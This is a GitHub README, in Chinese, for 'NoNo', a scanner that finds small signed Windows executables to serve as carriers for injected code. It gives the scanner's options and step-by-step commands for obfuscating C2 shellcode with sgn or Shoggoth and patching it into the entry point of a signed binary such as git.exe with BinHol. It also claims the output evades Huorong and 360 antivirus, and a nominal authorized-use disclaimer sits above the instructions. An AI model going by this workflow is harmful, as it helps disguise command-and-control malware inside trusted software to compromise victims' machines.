Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

din4e/NoNo

Folders and files

NameName
Last commit message
Last commit date

Latest commit

History

1 Commit

Repository files navigation

NoNo

Warning

本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。

Nono 是一款 patch 文件查找器。

编译

go build -o nono.exe

使用方法

1. 找 patch 文件

找那种小的exe,带签名的,选不依赖特殊dll的exe,尽量找信誉高的文件,最好还能带logo的,不带黑框的。其他参数见-h,工具默认搜索C:/Program Files/

.\nono.exe -h
Usage of C:\Users\din4e\nono.exe:
 -arch string
 架构类型: x86, x64, both (default "x64")
 -detail
 显示详细的导入函数列表
 -dir string
 要扫描的目录路径 (default "C:\\Program Files\\")
 -ext string
 文件扩展名,用逗号分隔 (default "exe")
 -imports
 显示导入表DLL信息 (default true)
 -max int
 最大文件大小 (字节,0表示无限制) (default 61440)
 -min int
 最小文件大小 (字节)
 -signed string
 签名过滤: signed(仅已签名), unsigned(仅未签名), all(全部) (default "signed")
 -workers int
 工作线程数 (default 32)

2. 混淆 shellcode

sgn.exe -a 64 -i tcp_windows_amd64.bin -o sgn_shellcode
# or
Shoggoth.exe -i tcp_windows_amd64.bin -o sgn_vshell

3. 使用 BinHol patch 白文件

  • 方案一:BinHol.exe -sign entrypoint .\git.exe .\sgn_shellcode 白文件直接添加C2的shellcode,例如vshell bin文件。
  • 【推荐】方案二:BinHol.exe -sign entrypoint .\git.exe .\template_1 白文件添加自己写的shellcode;
    • template_1 为s hellcode,可以本地读取命名为 AAAA 的bin文件执行的,实现分离读取
    • template_0 是弹对话框的shellcode,可以用来测试功能
  • 方案三:自己实现远程拉取Shellcode。
# 方案一:
BinHol.exe -sign entrypoint .\git.exe .\sgn_vshell
# 方案二: sgn_vshell -> AAAA
BinHol.exe -sign entrypoint .\git.exe .\template_1

Important

可以过火绒和360,内存不了卡巴斯基,行为和流量还是有问题。 BinHol、Sgn、Shoggoth不放心请自行编译。

参考资料

About

NoNo 是一款 patch 文件查找器。

Resources

Stars

Watchers

Forks

Packages

No packages published

Languages

AltStyle によって変換されたページ (->オリジナル) /